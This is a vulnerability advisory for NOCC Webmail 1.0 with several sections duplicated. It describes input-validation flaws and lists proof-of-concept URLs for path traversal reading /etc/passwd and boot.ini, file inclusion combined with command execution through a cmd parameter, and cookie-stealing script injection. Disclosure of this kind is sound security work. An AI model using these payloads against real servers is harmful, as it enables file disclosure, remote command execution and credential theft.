NOCC Webmail Multiple Input Validation Vulnerabilities
BID:16793
Info
NOCC Webmail Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 16793 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 23 2006 12:00AM |
| Updated: | Feb 24 2006 06:52PM |
| Credit: | rgod is credited with the discovery of this vulnerability. |
| Vulnerable: |
NOCC NOCC 1.0 |
| Not Vulnerable: | |
Discussion
NOCC Webmail Multiple Input Validation Vulnerabilities
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.
NOCC Webmail is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
An attacker can exploit these issues to inject arbitrary PHP code and execute it in the context of the vulnerable webserver. An attacker can also exploit these issues to execute arbitrary HTML or script code in the browser of a victim user in the context of the webserver process. This may facilitate the theft of cookie-based authentication credentials; other attacks are also possible.
Exploit / POC
NOCC Webmail Multiple Input Validation Vulnerabilities
These issues can be exploited using a web client.
The following proof of concept URI are available:
http://www.example.com/[path]/index.php?lang=../../../../../../../../../etc/passwd%00
http://www.example.com/[path]/index.php?theme=../../../../../../../../../etc/passwd%00
http://www.example.com/[path]/index.php?theme=../../../../../../../../../boot.ini%00
http://www.example.com/[path]/index.php?cmd=ls%20-la&lang=..%2ftmp%2fphpA91.tmp1140601928.att%00
http://www.example.com/[path]/index.php?cmd=netstat%20-ano&lang=..%2fprofiles%[email protected]%00
http://www.example.com/[path]/html/error.php?html_error_occurred=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/filter_prefs.php?html_filter_select=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/no_mail.php?html_no_mail=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?page_line=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?prev=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?next=<script>alert(document.cookie)</script>
The following proof of concept exploit is available:
These issues can be exploited using a web client.
The following proof of concept URI are available:
http://www.example.com/[path]/index.php?lang=../../../../../../../../../etc/passwd%00
http://www.example.com/[path]/index.php?theme=../../../../../../../../../etc/passwd%00
http://www.example.com/[path]/index.php?theme=../../../../../../../../../boot.ini%00
http://www.example.com/[path]/index.php?cmd=ls%20-la&lang=..%2ftmp%2fphpA91.tmp1140601928.att%00
http://www.example.com/[path]/index.php?cmd=netstat%20-ano&lang=..%2fprofiles%[email protected]%00
http://www.example.com/[path]/html/error.php?html_error_occurred=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/filter_prefs.php?html_filter_select=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/no_mail.php?html_no_mail=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?page_line=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?prev=<script>alert(document.cookie)</script>
http://www.example.com/[path]/html/html_bottom_table.php?next=<script>alert(document.cookie)</script>
The following proof of concept exploit is available:
Solution / Fix
NOCC Webmail Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
NOCC Webmail Multiple Input Validation Vulnerabilities
References:
References: